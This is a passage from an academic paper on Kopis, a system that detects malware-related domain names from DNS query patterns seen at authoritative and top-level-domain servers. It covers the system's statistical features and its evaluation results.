response to this malicious use of DNS, static domain
blacklists containing known malware domains have been
used by network operators to detect DNS queries origi-
nating from malware-infected machines and block their
communications with the attackers [16, 19].

Unfortunately, the effectiveness of static domain
blacklists are increasingly limited because there are now
an overwhelming number of new domain names appear-
ing on the Internet every day and attackers frequently
switch to different domains to run their malicious activi-
ties, thus making it difficult to keep blacklists up-to-date.

To overcome the limitations of static domain black-
lists, we need a detection system that can dynamically
detect new malware-related domains. This detection sys-
tem should:

(1) Have global visibility into DNS request and response
messages related to large DNS zones. This enables
“early warning”, whereby malware domains can be
detected before the corresponding malware infec-
tions reach our local networks.

(2) Enable DNS operators to independently deploy the
system and detect malware-related domains from
within their authority zones without the need for data
from other networks or other inter-organizational co-
ordination. This enables practical, low-cost, and
time-efficient detection and response.

(3) Accurately detect malware-related domains even in
the absence of reputation data for the IP address
space pointed to by the domains. IP reputation data
is often difficult to accumulate and is fragile. This
issue may become particularly important as IPv6 is
deployed in the near future, due to the more expan-
sive address space.
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Figure 1: Overview of the levels at which Kopis, Notos,
and Exposure perform DNS monitoring.

Recently researchers have proposed two dynamic do-
main reputation systems, Notos [3] and Exposure [4].
Unfortunately, while the results reported in [3, 4] are
promising, neither Notos nor Exposure can meet all the
requirements stated above, as Notos and Exposure rely
on passive monitoring of recursive DNS (RDNS) traf-
fic. As shown in Figure 1, they monitor the DNS queries
from a (limited) number of RDNS servers (e.g., RDNS
3 and 4), and have only partial visibility on DNS mes-
sages related to large DNS zones. To obtain truly global
visibility into DNS traffic related to a given DNS zone,
these systems need access to a very large number of
RDNS sensors in many diverse locations. This is not
easy to achieve in practice in part due to operational
costs, privacy concerns related to sharing data across or-
ganizational boundaries, and difficulties in establishing
and maintaining trust relationships between network op-
erators located in different countries, for example. For
the same reasons, Notos and Exposure have not been de-
signed to be independently deployed and run by single
DNS operators, because they rely on data sharing among
several networks to obtain a meaningful level of visibility
into DNS traffic.

On the other hand, monitoring DNS traffic from the
upper DNS hierarchy, e.g., at top-level domain (TLD)
server A, and authoritative name servers (AuthNSs) B
and C, offers visibility on all DNS messages related to
domains on which A, B, and C have authority or are a
point of delegation. For example, assuming B is the Au-
thNS for the example.com zone, monitoring the DNS
traffic at B provides visibility on all DNS messages from
all RDNS servers around the Internet that query a domain
name under the example.com zone.

Following this intuition, in this paper we propose a
novel detection system called Kopis, which takes advan-
tage of the global visibility available at the upper lev-
els of the DNS hierarchy to detect malware-related do-
mains. In order for Kopis to satisfy the three require-
ments outlined above, it needs to deal with a number
of new challenges. Most significantly, the higher up we
move in the DNS hierarchy, the stronger the effects of
DNS caching [15]. As a consequence, moving up in the
hierarchy restricts us to monitoring DNS traffic with a
coarser granularity. For example, at the TLD level we
will only be able to see a small subset of queries to do-
mains under a certain delegation point due to the effects
of the DNS cache.

Kopis works as follows. It analyzes the streams of
DNS queries and responses at AuthNS or TLD servers
(see Figure 1) from which are extracted statistical fea-
tures such as the diversity in the network locations of the
RDNS servers that query a domain name, the level of
“popularity” of the querying RDNS servers (defined in
detail in Section 4), and the reputation of the IP space
into which the domain name resolves. Given a set of
known legitimate and known malware-related domains
as training data, Kopis builds a statistical classification
model that can then predict whether a new domain is
malware-related based on observed query resolution pat-
terns.

Our choice of Kopis’ statistical features, which we dis-
cuss in detail in Section 4, is determined by the nature of
the information accessible at the upper DNS hierarchy.
As a result these features are significantly different from
those used by RDNS-based systems such as Notos [3]
and Exposure [4]. In particular, we were pleasantly sur-
prised to find that, while Notos and Exposure rely heav-
ily on features based on IP reputation, Kopis’ features
enabled it to accurately detect malware-related domains
even in the absence of IP reputation information. This
may become a significant advantage in the near future
because the deployment of IPv6 may severely impact the
effectiveness of current IP reputation systems due to the
substantially larger IP address space that would need to
be monitored.

To summarize, we make the following contributions:

• We developed a novel approach to detect malware-
related domain names. Our system leverages the
global visibility obtained by monitoring DNS traf-
fic at the upper levels of the DNS hierarchy, and can
detect malware-related domains based on DNS res-
olution patterns.

• Kopis enables DNS operators to independently (i.e.,
without the need of data from other networks) detect
malware-domains within their scope of authority, so
that action can be taken to stop the abuse.
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• We systematically examined real-world DNS traces
from two large AuthNSs and a country-code level
TLD server. We performed a rigorous evaluation
of our statistical features and identified two new
feature families that, unlike previous work, enable
Kopis to detect malware domains even when no IP
reputation information is available.

• We developed a proof-of-concept version of Kopis,
and experimented with eight months of real-world
data. Our experimental results show that Kopis can
achieve high detection rates (e.g., 98.4%) and low
false positive rates (e.g., 0.3% or 0.5%). More sig-
nificantly, Kopis was able to identify previously un-
known malware domain names several weeks be-
fore they appeared in blacklists or in security fo-
rums. In addition, using Kopis we detected the
rise of a previously unknown DDoS botnet based
in China.

2 Background and Related Work

DNS Concepts and Terminology The domain name
space is structured like a tree. A domain name identi-
fies a node in the tree. For example, the domain name
F.D.B.A. identifies the path from the root “.” to a node
F in the tree (see Figure 2(a)). The set of resource infor-
mation associated with a particular name is composed of
resource records (RRs) [17, 18]. The depth of a node in
the tree is sometimes referred to as domain level. For
example, A. is a top-level domain (TLD), B.A. is a
second-level domain (2LD), D.B.A. is a third-level do-
main (3LD), and so on.

The information related to the domain name space is
stored in a distributed domain name database. The do-
main name database is partitioned by “cuts” made in the
name space between adjacent nodes. After all cuts are
made, each group of connected nodes represent a sep-
arate zone [17]. Each zone has at least one node, and
hence a domain name, for which it is authoritative. For
each zone, a node which is closer to the root than any
other node in the zone can be identified. The name of this
node is often used to identify the zone. The RRs of the
nodes in a given zone are served by one or more authori-
tative name servers (AuthNSs). AuthNSs that have com-
plete knowledge about a zone (i.e., they store the RRs for
all the nodes related to the zone in question in its zone
files) are said to have authority over that zone [17, 18].
AuthNSs will typically support one or more zones, and
can delegate the authority over part of a (sub-)zone to
other AuthNSs.

DNS queries are usually initiated by a stub resolver
on a user’s machine, which relies on a recursive DNS re-
solver (RDNS) for obtaining a set of RRs owned by a

(a) DNS Tree



























(b) Domain Resolution

Figure 2: Example of DNS tree and domain resolution
process.

given domain name. The RDNS is responsible for di-
rectly contacting the AuthNSs on behalf of the stub re-
solver to obtain the requested information, and return it
to the stub resolver. The RDNS is also responsible for
caching the obtained information up to a certain period
of time, called the Time To Live (TTL), so that if the same
or another stub resolver queries again for the same in-
formation within the TTL time window, the RDNS will
not need to contact the authoritative name servers (thus
improving efficiency). Figure 2(b) enumerates the steps
involved in a typical query resolution process, assuming
an empty cache.

Related Work To the best of our knowledge, Wessels
et al. [30] were the first to analyze DNS query data as
seen from the upper DNS hierarchy. The authors fo-
cused on examining the DNS caching behavior of re-
cursive DNS servers from the point of view of AuthNS
and TLD servers, and how different implementations of
caching systems may affect the performance of the DNS.

Recently, Hao et al. [13] released a report on DNS
lookup patterns measured from the .com TLD servers.
Their preliminary analysis shows that the resolution
patterns for malicious domain names are sometimes
different from those observed for legitimate domains.
While [13] only reports some preliminary measurement
results and does not discuss how the findings may be
leveraged for detection purposes, it does hint that a mal-
ware detection system may be built around TLD-level
DNS queries. We designed Kopis to do just that, namely
monitor query streams at the upper DNS hierarchy and
be able to detect previously unknown malware domains.

Several studies provide deep understanding behind
the properties of malware propagation and botnet’s life-
time [7, 25, 29]. An interesting observation among all
these research efforts is the inherent diversity of the bot-
net’s infected population. Collins et al. [6] introduced
and quantified the notion of “network uncleanliness”
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from the temporal and spatial network point of view,
showing that it is very probable to have a large number
of infected bots in the same network over an epoch. They
also discuss that this could be a direct effect of the net-
work policy enforced at the edge. Kopis directly uses
the intuition behind these past research efforts in the re-
quester diversity and requester profile statistical feature
families.

A number of research efforts can be found in the
area of DNS blacklisting and reputation. Felegyhazi et
al. [11] recently proposed a DNS reputation blacklisting
methodology based on WHOIS information, while An-
tonakakis et al. [3] and Bilge et al. [4] propose dynamic
reputation systems based on passive RDNS monitoring.
Our system is complementary to the above mentioned
works. To the best of our knowledge, we are the first
to analyze DNS query patterns at the AuthNS and TLD
server level for the purpose of detecting domain names
related to malware.

3 System Overview

Kopis monitors streams of DNS queries to and responses
from the upper DNS hierarchy, and detects malware do-
main names based on the observed query/response pat-
terns. An overview of Kopis is shown in Figure 3.

Our system divides the monitored data streams into
epochs {Ei}i=1..m (currently, an epoch is one day long).
At the end of each epoch Kopis summarizes the DNS
traffic related to a given domain name d by computing
a number of statistical features, such as the diversity of
the IP addresses associated with the RDNS servers that
queried d, the relative volume of queries from the set of
querying RDNS servers, historic information related to
the IP space pointed to by d, etc. We defer a detailed de-
scription and motivations regarding the features we mea-
sure to Section 4. For now, it suffices to consider the
feature computation module in Figure 3 as a function
F(d,Ei) = vi

d that maps the DNS traffic in epoch Ei

related to d into a feature vector vi
d.

Kopis operates in two modes: a training mode and an
operation mode. In training mode, Kopis makes use of a
knowledge base KB, which consists of a set of known
malware-related and known legitimate domain names
(and related resolved IPs) for which the monitored Au-
thNS and TLD servers are authoritative or a point of del-
egation. Kopis’ learning module takes as input the set of
feature vectors Vtrain = {vi

d}i=1..m, ∀d ∈ KB, which
summarizes the query/response behavior of each domain
in the knowledge base across m days. Each domain in
KB, and in turn each feature vector in Vtrain, is associ-
ated with a label, namely legitimate or malware. We can
therefore use supervised learning techniques [5] to learn
a statistical classification model S of DNS query patterns






















Figure 3: A high-level overview of Kopis.

related to legitimate and malware domains as seen from
the upper DNS hierarchy.

In operation mode, Kopis monitors the streams of
DNS traffic and, at the end of each epoch Ej , maps each
domain d′ /∈ KB (i.e., all unknown domains) extracted
from the query/response streams into a feature vector vj

d′ .
At this point, given a domain d′ the statistical classifier
S (see Figure 3) assigns a label ld′,j and a confidence
score c(ld′,j), which express whether the query/response
patterns observed for d′ during epoch Ej resemble ei-
ther known legitimate or malware behavior, and with
what probability. In order to make a final decision about
d′, Kopis first gathers a series of labels and confidence
scores S(vj

d′) = {ld′,j , c(ld′,j)}, j = t, .., (t + m) for m
consecutive epochs, where t refers to a given starting
epoch Et. Finally, Kopis computes the average confi-
dence scores CM = avgj{c(ld′,j)} for the malware la-
bels assigned to d′ by S across the m epochs, and an
alarm is raised if CM is greater than a threshold θ.

4 Statistical Features

In this section we describe the statistical features that
Kopis extracts from the monitored DNS traffic. For each
DNS query qj regarding a domain name d and the re-
lated DNS response rj , we first translate it into a tuple
Qj(d) = (Tj , Rj , d, IPsj), where Tj identifies the epoch
in which the query/response was observed, Rj is the IP
address of the machine that initiated the query qj , d is
the queried domain, and IPsj is the set of resolved IP
addresses as reported in the response rj . It is worth not-
ing that since we are monitoring DNS queries and re-
sponses from the upper DNS hierarchy, in some cases the
response may be delegated to a name server which Kopis
does not currently monitor. This is particularly relevant
to our TLD-level data feed, since most TLD servers are
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delegation-only1. In all those cases in which the response
does not carry the resolved IP addresses, we can derive
the IPs set by leveraging a passive DNS database [24], or
by directly querying the delegated name server.

Given a domain name d and a series of tuples
Qj(d), j = 1, .., m, measured during a certain epoch Et

(i.e., Tj = Et, ∀j = 1, ..,m), Kopis extracts the follow-
ing groups of statistical features:

Requester Diversity (RD) This group of features aims
to characterize if the machines (e.g., RDNS servers) that
query a given domain name are localized or are globally
distributed. In practice, given a domain d and a series
of tuples {Qj(d)}j=1..m, we first map the series of re-
quester IP addresses {Rj}j=1..m to the BGP prefix, au-
tonomous system (AS) numbers, and country codes (CC)
the IP addresses belong to. Then, we compute the distri-
bution of occurrence frequencies of the obtained BGP
prefixes (sometimes referred to as classless inter-domain
routing (CIDR) prefixes), the AS numbers and CCs.

For each of these three distributions we compute the
mean (three features) , standard deviation (three features)
and variance (three features). Also, we consider the ab-
solute number of distinct IP addresses (i.e., distinct val-
ues of {Rj}j=1..m), the number of distinct BGP prefixes,
AS numbers and CCs (four features in total). Overall, we
obtain thirteen statistical features that summarize the di-
versity of the machines that query a particular domain
name, as seen from an AuthNS or TLD server.

The choice of the RD features is motivated by the ob-
servation that the distribution of the machines on the In-
ternet that query malicious domain names is on average
different from the distribution of IP addresses that query
legitimate domains. Semi-popular legitimate domain
names (i.e., small business or personal sites) will not
have a stable diverse population of recursive DNS servers
or stubs that will try to systematically contact them. On
the other hand popular legitimate domain names (i.e.,
zone cuts, authoritative name servers, news/blog forums,
etc.) will demonstrate a very consistent and very diverse
pool of IP addresses looking them up on a daily basis.

Malware-related domain names will have a diverse
pool of IP addresses looking them up in a systematic way
(i.e., multiple contiguous days). These IP addresses are
very likely to have a significant network and geograph-
ical diversity simply because with the exception of tar-
geted attacks adversaries will not try to control or restrain
the geographical and network distribution of the ma-
chines getting compromised by drive-by sites and other
social networking techniques. Intuitively, the diversity of

1Delegation-only DNS servers are effectively limited to containing
NS resource records for sub-domains, but no actual data beyond its own
SOA and NS records.
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Figure 4: Distribution of AS-diversity (a) and CC-
diversity (b) for malware-related and benign domains.

the infected population will be different over a given time
period, in comparison to that of benign domain names.

For example, Figure 4(a), which is derived from the
dataset described in Section 5.3, reports the cumulative
distribution functions (CDF) of the AS diversity of be-
nign and malware-related domain names. In Figure 4(b)
we can see the CDFs from the CC diversity for both
classes in our dataset. We note that in both cases the
benign domain names have a bimodal distribution. They
either have low or very high diversity. On the other hand,
the malware-related domain names cover a larger spec-
trum of diversities based on the success of the malware
distribution mechanisms they use.

Requester Profile (RP) Not all query sources have
similar characteristics. Given a query tuple Qj(d) =
(Tj , Rj , d, IPsj), the requester’s IP address Rj may rep-
resent the RDNS server of a large ISP that queries do-
mains on behalf of millions of clients, the RDNS of a
smaller organization (e.g., an academic network), or a
single end-user machine. We would like to distinguish
between such cases, and assign a higher weight to RDNS
servers that serve a large client population because a
larger network would typically have a larger number of
infected machines. While it is not possible to precisely
estimate the population behind an RDNS server, because
of the effects of caching [15], we approximate the pop-
ulation measure as follows. Without loss of generality,
assume we monitor the DNS query/response stream for
a large AuthNS that has authority over a set of domains
D. Given an epoch Et, we consider all query tuples
{Qj(d)}, ∀j, d seen during Et. Let R be the set of all
distinct requester IP addresses in the query tuples. For
each IP address Rk ∈ R, we count the number ct,k of
different domain names in D queried by Rk during Et.
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We then define the weight associated to a requester’s IP
address Rk as wt,k = ct,k

max
|R|
l=1 ct,l

. In practice, we assign

a higher weight to requesters that query a large number
of domains in D.

Now that we have defined the weights wt,j , given a
domain name d′ we measure its RP features as follows:

• Let {Qi(d′)}i=1..h be the set of query tuples related
to d′ observed during an epoch Et. Also, let R(d′)
be the set of all distinct requester IP addresses in
{Qi(d′)}i=1..h. For each Rk ∈ R(d′) we com-
pute the count ct,k as previously described. Then,
given the set Ct(d′) = {ct,k}k, we compute the av-
erage, the biased and unbiased standard deviation2,
and the biased and unbiased variance of the values
in Ct(d′). It is worth noting that the biased and
unbiased estimators of the standard deviation and
variance have different values when the cardinality
|Ct(d′)| is small.

• Similar to the above, for each Rk ∈ R(d′) we
compute the count ct,k. Afterwards, we multiply
each count by the weight wt−n,k to obtain the set
WCt(d′) = {ct,k ∗ wt−n,k}k of weighted counts.
It is worth noting that the weights wt−n,k are com-
puted based on historical data about the resolver’s
IP address collected n epochs (seven days in our
experiments) before the epoch Et. We then com-
pute the average, the biased and unbiased standard
deviation, and the biased and unbiased variance of
the values in WCt(d′).

The RD and RP features described above aim to cap-
ture the fact that malware-related domains tend to be
queried from a diverse set of requesters with a higher
weight more often than legitimate domains. An explana-
tion for this expected difference in the requester char-
acteristics is that malware-related domains tend to be
queried from a large number of ISP networks, which
usually are assigned a high weight. The reason is that
ISP networks often offer little or no protection against
malware-related software propagation. In addition, the
population of machines in ISP networks is usually very
large, and therefore the probability that a machine in the
ISP network becomes infected by malware is very high.
On the other hand, legitimate domains are often queried
from both ISP networks and smaller organization net-
works (having a smaller weight), such as enterprise net-
works, which are usually better protected against mal-
ware and tend to query fewer malware-related domains.

2The biased estimator for the standard deviation of a random vari-

able X is defined as σ̂ =

√∑N

i=1
1
N

(X̄i − µ)2, while the unbiased

estimator is defined as σ̃ =

√∑N

i=1
1

N−1
(X̄i − µ)2

As shown in Section 5 both set of features can success-
fully model benign and malware-related domain names.

Resolved-IPs Reputation (IPR) This group of fea-
tures aims to describe whether, and to what extent, the
IP address space pointed to by a given domain has been
historically linked with known malicious activities, or
known legitimate services. We compute a total of nine
features as follows. Given a domain name d and the set
of query tuples {Qj(d)}j=1..h obtained during an epoch
Et, we first consider the overall set of resolved IP ad-
dresses IPs(d, t) = ∪h

j=1IPsj (where IPsj is an element
of the tuple Qj(d), as explained above). Let BGP(d, t)
and AS(d, t) be the set of distinct BGP prefixes and au-
tonomous system numbers to which the IP addresses in
IPs(d, t) belong, respectively. We compute the follow-
ing groups of features.

• Malware Evidence: includes the average number of
known malware-related domain names that in the
past month (with respect to the epoch Et) have
pointed to each of the IP addresses in IPs(d, t).
Similarly, we compute the average number of
known malware-related domains that have pointed
to each of the BGP prefixes and AS numbers in
BGP(d, t) and AS(d, t).

• SBL Evidence: much like the malware evidence fea-
tures, we compute the average number of domains
from the Spamhaus Block List [22] that, in the past
have pointed to each of the IP addresses, BGP pre-
fixes, and AS numbers in IPs(d, t), BGP(d, t),
and AS(d, t), respectively.

• Whitelist Evidence: We compute the number of
IP addresses in IPs(d, t) that match IP addresses
pointed to by domains in the DNSWL [9] 3 or
the top 30 domains according to Alexa [2]. Sim-
ilarly we compute the number of BGP prefixes in
BGP(d, t) and AS numbers in AS(d, t) that in-
clude IP addresses pointed by domains in DNSWL
or the top 30 Alexa domains.

The IPR features try to capture whether a certain do-
main d is related to domain names and IP addresses that
have been historically recognized as either malicious or
legitimate domains. The intuition is that if d points into
IP address space that is known to host lots of malicious
activities, it is more likely that d itself is also involved in
malicious activities. On the other hand, if d points into a
well known, professionally run legitimate network, it is
somewhat less likely that d is actually involved in mali-
cious activities.

3Domain names up to the LOW trustworthiness score, where LOW
trustworthiness score follows the definition by DNSWL [9]. More de-
tails can be found at http://www.dnswl.org/tech.
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Discussion While none of the features used alone
may allow Kopis to accurately discriminate between
malware-related and legitimate domain names, by com-
bining the features described above we can achieve a
high detection rate with low false positives, as shown in
Section 5.

We would like to emphasize that the features com-
puted by Kopis, particularly the Requester Diversity and
Requester Profile features, are novel and very differ-
ent from the statistical features proposed in Notos [3]
and Exposure [4], which are heavily based on IP repu-
tation information. Unlike Notos and Exposure, which
leverage RDNS-level DNS traffic monitoring, Kopis ex-
tracts statistical features specifically chosen to harvest
the “malware signal” as seen from the upper DNS hi-
erarchy, and to cope with the coarser granularity of the
DNS traffic observed at the AuthNS and TLD level. Fur-
thermore, we show in Section 5 that, unlike previous
work, Kopis is able to detect malware-related domains
even when no IP reputation information is available.

The Requester Diversity and Requester Profile fea-
tures can operate without any historical IP address rep-
utation information. These two sets of features can be
computed practically and on-the-fly at each authoritative
or TLD server. The main reason why we identify the
six Resolved-IP Reputation features is to harvest part of
the already established IP reputation in IPv4. This will
help the overall system to reduce the false positives (FPs)
and at the same time maintain a very high true positives
(TPs). We will elaborate more in Section 5 on the differ-
ent operational modes of Kopis.

5 Evaluation

In this section, we report the results of our evaluation of
Kopis. First, we describe how we collected our datasets
and the related ground truth. We then present results re-
garding the detection accuracy of Kopis for authoritative
NS- and TLD-level deployments. Finally, we present a
case study regarding how Kopis was able to discover a
previously unknown DDoS botnet based in China.

5.1 Datasets
Our datasets were composed of the DNS traffic obtained
from two major domain name registrars between the
dates of 01-01-2010 up until 08-31-2010 and a country
code top level domain (.ca) between the dates of 08-26-
2010 up until 10-18-2010. In the case of the two domain
name registrars we were also able to observe the answers
returned to the requester of each resolution. Therefore, it
is easy for us to identify the IP addresses for the A-type
of DNS query traffic. In the case of the TLD we obtained
data only for 52 days and had to passively reconstruct the

Figure 5: General observations from the datasets. Plot
(i) shows the difference between the raw lookup volume
vs. the query tuples that Kopis uses over a period of 107
days. Plots (ii), (iii) and (iv) show the number of unique
CCs, ASs and CIDRs (in which the RDNSs resides) for
each domain name that was looked up during one day.

IP addresses corresponding to the A-type of lookups
observed.

An interesting problem arises when we work with the
large data volume from major authorities and the .ca
TLD servers. According to a sample monitoring pe-
riod of 107 days we can see from Figure 5 (i) that the
daily number of lookups to the authorities was on aver-
age 321 million. This was a significant problem since
it would be hard to process such a volume of raw data,
especially if the temporal information from these daily
observations were important for the final detection pro-
cess. On the same set of raw data we used a data reduc-
tion process that maintained only the query tuples (as de-
fined in Section 4). This reduced the daily observations,
as we can observe from Figure 5 (i), to a daily average
of 12,583,723 unique query tuples. The signal that we
missed with this reduction was the absolute lookup vol-
ume of each query tuple in the raw data. Additionally, we
missed all time sensitive information regarding the peri-
ods within a day that each query tuple was looked up. As
we will see in the following sections, this reduction does
not affect Kopis’ ability to model the profile of benign
and malware-related domains.

Figures 5 (ii), (iii) and (iv) report the number of
CIDR (i.e., BGP prefixes), Autonomous Systems (AS),
Country Code (CC), respectively, for the RDNSs (or re-
questers) that looked up each domain name every day.
The domains are sorted based on counts of ASs, CCs
and CIDRs corresponding to the RDNSs that look them
up (from left to right with the leftmost having the largest
count). We observe that roughly the first 100,000 do-
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main names were the only domains that exhibit any di-
versity among the requesters that looked them up. We
can also observe that the first 10,000 domain names are
those that have some significant diversity. In particular
only the first 10,000 domain names were looked up by
at least five CIDRs, or five ASs or two different CCs. In
other words, the remaining domains were looked up from
very few RDNSs, typically in small sets of networks and
a small number of countries. Using this observation we
created statistical vectors only for domain names in the
sets of the 100,000 most diverse domains from the point
of view of the RDNS’s CC, AS and CIDR.

5.2 Obtaining the Ground Truth
We collected more than eight months of DNS traffic from
two DNS authorities and the .ca TLD. All query tuples
derived from these DNS authorities were stored daily and
indexed in a relational database. Due to some monitor-
ing problems we missed traffic from 3 days in January, 9
days in March and 6 days in June 2010.

Some of our statistical features require us to map each
observed IP address to the related CIDR (or BGP prefix)
AS number and country code (Section 4). To this end,
we leveraged Team CYMRU’s IP-to-ASN mapping [28].

Kopis’ knowledge base contained malware informa-
tion from two malware feeds collected since March 2009.
We also collected public blacklisting information from
various publicly available services (e.g., Malwaredo-
mains [16], Zeus tracker [31]). Furthermore, we col-
lected information regarding domain names residing in
benign networks from DNSWL [9] but also the address
space from the top 30 Alexa [2] domains verified using
the assistance of the Dihe’s IP address index browser [8].
Overall, we were able to label 225,429 unique RRs that
correspond to 28,915 unique domain names. From those
we had 1,598 domain names labeled as legitimate and
27,317 domain names labeled as malware-related. All
collected information was placed in a table with first and
last seen timestamps. This was important since we com-
puted all IPR features for day n based only on data we
had until day n. Finally, we should note that we labeled
all the data based on black-listing and white-listing in-
formation collected until October 31st 2010.

5.3 Model Selection
As described in Section 3, Kopis uses a machine learn-
ing algorithm to build a detector based on the statistical
profiles of resolution patterns of legitimate and malware-
related domains. As with any machine-learning task, it
is important to select the appropriate model and impor-
tant parameters. For Kopis, we need to identify the min-
imal observation window of historic data necessary for

Figure 6: ROCs from datasets with different sizes assem-
bled from different time windows.

training. The observation window here is the number of
epochs from which we assemble the training dataset.

In Figure 6, we see the detection results from four
different observation windows. The ROCs in Figure 6
were computed using 10-fold cross validation. The clas-
sifier that produced these results was a random forest
(RF) classifier under a two, three, four and five day
training window. The selection of the RF classifier was
made using a model selection process [10], a common
method used in the machine learning community, which
identified the most accurate classifier that could model
our dataset. Besides the RF, during model selection we
also experimented with Naive Bayes, k-nearest neigh-
bors (IBK), Support Vector Machines, MLP Neural Net-
work and random committee (RC) classifiers [10]. The
best detection results reported during the model selection
were from the RF classifier. Specifically, the RF classi-
fier achieved a TPrate = 98.4% and a FPrate = 0.3%
using a five day observation window. When we increased
the observation window beyond the mark of five days we
did not see a significant improvement in the detection re-
sults.

We should note that this parameter and model method-
ology should be used every time Kopis is being deployed
in a new AuthNS or TLD server because the character-
istics of the domains, and hence the resolution patterns,
may vary in different AuthNS and TLD servers, and dif-
ferent patterns or profiles may best fit different parameter
values and classifiers.

5.4 Overall Detection Performance
In order to evaluate the detection performance of Kopis
and in particular the validity and strength of its statistical
features and classification model, we conducted a long-
term experiment with five months of data. We used 150
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Figure 7: The distribution of TPrate for combination of
features and features families in comparison with Kopis
observed detection accuracy.
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Figure 8: The distribution of FPrate for combinations of
features and features families in comparison with Kopis
observed detection accuracy.

different datasets created over a period of 155 days (first
15 days for bootstrap). These datasets were composed by
using a fifteen-day sliding window with a one-day step
(i.e., two consecutive windows overlap by 14 days). We
then used 10-fold cross validation4 to obtain the FPrates

and TPrates from every dataset. We picked three clas-
sification algorithms, namely, RF, RC, and IBK, which
performed best in the model selection process (described
in Section 5.3) because we wanted to use their detection
rates during the long-term experiment.

In Figure 7 and Figure 8 we observe the distribution

4To avoid overfitting our dataset we report the evaluation results us-
ing 10-fold cross validation that implies that 90% of dataset is used for
training and 10% for testing — in each of the 10 folds. This technique
is known [14] to yield a fair estimation of classification performance
over a dataset.

of the TPrates and FPrates for the RF classifier over
the entire evaluation period. The average, minimum and
maximum FPrates for the RF were 0.5% (8 domains),
0.2% (3 domains) and 1.1% (18 domains), respectively,
while the average, minimum and maximum TPrates

were 99.1% (27,072 domains), 98.1% (27.071 domains)
and 99.8% (27,262 domains), respectively. The RF clas-
sifier’s FPrates were almost consistently around 0.6% or
less. The TPrate of the RF classifier, with the exception
of six days, was above 96% and typically in the range
of 98%. With the IBK classifier being the exception, the
RF and RC classifiers had similar longterm detection ac-
curacy. This experiment showed that Kopis overall has
a very high TPrate and very low FPrate against all new
and previously unclassified malware-related domains.

As described in Section 4, we define three main types
of features. Next we show how Kopis would oper-
ate if trained on datasets assembled by features from
each family, first separately and then combined. To de-
rive the results from the experiments, we used as in-
put the 150 datasets created in the previously described
longterm evaluation mode. Then, for each one of these
150 datasets, we isolated the features from the RD,
RP and IPR feature families into three additional types
of datasets. In Figure 7 and Figure 8 we present the
longterm detection rates obtained using 10-fold cross
validation of these three different types of datasets. Ad-
ditionally, we present the detection results from:

• The combination of RP and RD features (RD+RP
Features).

• The combination of RD, RP and the features
from the IPR feature family that describe the Au-
tonomous System properties of the IP address that
each domain name d points at (RD+RP+IRP(AS)
Features).

• The detection results from the combination of all
features combined (All Features).

The longterm FPrates and TPrates in Figure 7 and
Figure 8 respectively, we show the detection accura-
cies from each different feature set. One may tend to
think that the IPR (IP reputation) features hold a signifi-
cantly stronger classification signal than the combination
of RD and RP features, mainly because there are many
resources that currently contribute to the quantification
and improvement of IP reputation (i.e., spam block lists,
malware analysis, dynamic DNS reputation etc.). How-
ever, Figure 7 and Figure 8 show that with respect to both
the FPrates and TPrates, the combination of the RD and
RP sets of features performs almost equally to the IPR
features used in isolation from the remaining features.
At the same time, using all features performs much bet-
ter than using each single feature subset in isolation. This
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Figure 9: TPrates for different observation periods using
an 80/20 train/test dataset split.

shows that the combination of the RP and RD features
contribute significantly to the overall classification accu-
racy and can enable the correct classification of domains
in environments where IP reputation is absent or in cases
where we cannot reliably compute IP reputation features
“on-the-fly” (e.g., in some TLD-level deployments).

5.5 New and Previously Unclassified Do-
mains

While the experiments described in Section 5.4 showed
that Kopis can achieve very good overall detection accu-
racy, we also wanted to evaluate the “real-world value”
of Kopis, and in particular its ability to detect new and
previously unclassified malware domains. To this end,
we conducted a set of experiments in which we trained
Kopis based on one month of labeled data from which
we randomly excluded 20% of both benign and malware-
related domains (i.e., we assumed that we did not know
anything about these domain names during training).
This excluded 997 benign and 4,792 malware-related
unique, deduplicated domain names from the training
datasets. Then we used the next three weeks of data as
an evaluation dataset, which contained the domains ex-
cluded from the training set mentioned above, as well as
all other newly seen domain names. In other words, the
classification model learned using the training data was
not provided with any knowledge whatsoever about the
domains in the evaluation dataset.

We then classified the domains in the evaluation
dataset, with the assistance of a Random Forest classi-
fier, as we already discussed in Section 3. We used a
training period of 30 consecutive days and a testing pe-
riod of m = 21 days immediately following the training
period. The detection threshold θ was set to 0.9 to obtain
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Figure 10: FPrates for different observation periods us-
ing an 80/20 train/test dataset split.

a good operational trade-off between false positives and
detection rate. Our primary reasoning behind setting the
threshold θ to 0.9 was to keep the FPrates as low as pos-
sible so that an operator would only have to deal with a
very small number of FPs on a daily basis. We repeated
this evaluation four times during different months within
our eight months of traffic monitoring.

In Figure 9 and Figure 10, we can see the results
of these experiments. From left to right, we can see
the evaluation on 21 days of traffic in February, March,
May and June of 2010. We trained the system based
on one month of traffic from January, February, March
and May 2010, respectively. We chose these months be-
cause we had continuous daily observations (i.e., no data
gaps) from both training and testing datasets. As in the
longterm 10-fold evaluation, we performed the experi-
ments using six different datasets obtained using differ-
ent feature subsets.

We present the results in the same way as in Sec-
tion 5.4. When we used all features we observed the av-
erage FPrates was 0.53% ( ∼ two domains), while the
average TPrates was 73.62% (3,528 domain names). For
the RP+RD Features and IPR Features the aver-
age FPrates were 0.54% (∼ two domains) and 0.79% (∼
two domains), respectively; while the average TPrates

were 69.19% (3,315 domain names) and 87.25% (4,181
domain names), respectively. The RP+RD+AS(IPR)
Features, gave average FPrates = 0.66% (or ∼
two domain names) and average TPrates = 65.05% (or
3,117 domain names).

When we used the combination of all features we see
that for the first 42 days of evaluation (February and
March of 2010) Kopis had a virtually zero FPrates and
an average TPrates = 68%. In the following 42 days of
evaluation, Kopis, had better TPrates but with some ex-
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Figure 11: Kopis early detection results. The deltas in
days between the Kopis classification dates and the date
we’ve received a corresponding malware sample for the
domain name.

tra false positives, always below 0.5%. Investigating the
nature of the false positives, we observed that the domain
names responsible are related to BitTorrent services, on-
demand web-TV services and what appeared to be on-
line gaming sites. We suspect that the main reason why
these domains cause false positives is because the pop-
ulation of similar legitimate services was insufficiently
represented during training, and therefore, the RF clas-
sifier failed to learn this behavior as being legitimate in
training.

This experiment showed that Kopis — with all fea-
tures used — can detect new and previously unclassified
domains with an average TPrate of 73.62% and average
FPrate of 0.53%. Although this is worse than the overall
detection performance reported in Section 5.4, it is actu-
ally a good result considering that Kopis has no knowl-
edge of the domains in the testing dataset. It implies that
Kopis has good “real-world value” thanks to its ability to
detect new, previously unseen attacks is at a premium.

Figure 11 shows the difference in days between the
time that Kopis identifies a true positive domain as being
malware-related, and the day we first obtained the mal-
ware sample associated with the malware-related domain
